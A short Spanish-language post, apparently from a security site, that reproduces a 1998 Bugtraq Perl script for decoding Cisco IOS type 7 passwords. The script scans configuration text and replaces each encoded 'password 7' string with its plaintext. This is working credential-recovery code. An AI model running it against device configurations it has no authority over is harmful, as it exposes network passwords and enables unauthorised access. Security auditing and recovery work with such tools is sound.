Descifrar passwords Cisco tipo 7 (II)

iku posteo el 12-Ene-1998 en la lista Bugtraq una version en perl del programa en C que rompia el cifrado tipo 7 de Cisco.

#!/usr/bin/perl -w
# $Id: cisco.passwords.html 1799 2003-05-08 20:33:12Z fyodor $
#
# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski
# for Cisco IOS password encryption facts.
#
# Use for any malice or illegal purposes strictly prohibited!
#

@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );

while (<>) {
if (/(password|md5)\s+7\s+([\da-f]+)/io) {
if (!(length($2) & 1)) {
$ep = $2; $dp = "";
($s, $e) = ($2 =~ /^(..)(.+)/o);
for ($i = 0; $i < length($e); $i+=2) {
$dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
}
s/7\s+$ep/$dp/;
}
}
print;
}